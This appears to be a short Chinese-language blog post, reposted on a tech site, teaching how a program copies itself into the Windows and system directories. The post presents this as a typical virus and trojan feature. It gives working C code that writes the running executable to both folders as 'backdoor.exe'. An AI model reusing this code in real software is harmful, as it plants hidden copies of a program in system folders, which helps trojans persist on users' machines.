复制自身程序到windows目录和系统目录下

来源:互联网 发布:mdf文件恢复数据库 编辑:程序博客网 时间:2024/05/16 15:46

        一般病毒木马都有这种类似的功能,完成这个功能并不复杂,下面来拆解思考一下实现的代码步骤吧!

        复制就是拷贝,既然是拷贝就要知道拷贝的程序的原始位置和目的位置。整个过程其实分了3步。首先要的到自身程序所在的路径,然后获取windows目录和系统目录,最后就分别拷贝自身程序到这两个目录。这几个步骤如何去实现呢?不要急,一步一步来,下面我们就来看看要完成这些功能需要哪些API函数。

 获得自身程序所在路径的API函数:GetModuleFileName(); 获得windows目录的API函数:GetWindowsDirectory(); 获得系统目录的API函数:GetSystemDirectory(); 拷贝文件的API函数:CopyFile();

        需要用到的API函数已经列出来了,下面就完成这个复制自身程序到windows目录和系统目录下的程序吧,代码如下:

/*************************************************复制自身程序到windows目录和系统目录下************************************************/#include <windows.h>void CopySelf();int main(void){CopySelf();return 0;}void CopySelf(){//保存自身程序的路径char szSelfName[MAX_PATH] = { 0 };//保存windows目录的路径char szWindowsPath[MAX_PATH] = { 0 };//保存系统目录的路径char szSystemPath[MAX_PATH] = { 0 };//临时路径变量char szTmpPath[MAX_PATH] = { 0 };GetModuleFileName(NULL, szSelfName, MAX_PATH);GetWindowsDirectory(szWindowsPath, MAX_PATH);GetSystemDirectory(szSystemPath, MAX_PATH);strcat(szWindowsPath, "\\backdoor.exe");strcat(szSystemPath, "\\backdoor.exe");CopyFile(szSelfName, szWindowsPath, FALSE);CopyFile(szSelfName, szSystemPath, FALSE);}

这是我写的第一篇博文,希望大家多多支持。

0 0
原创粉丝点击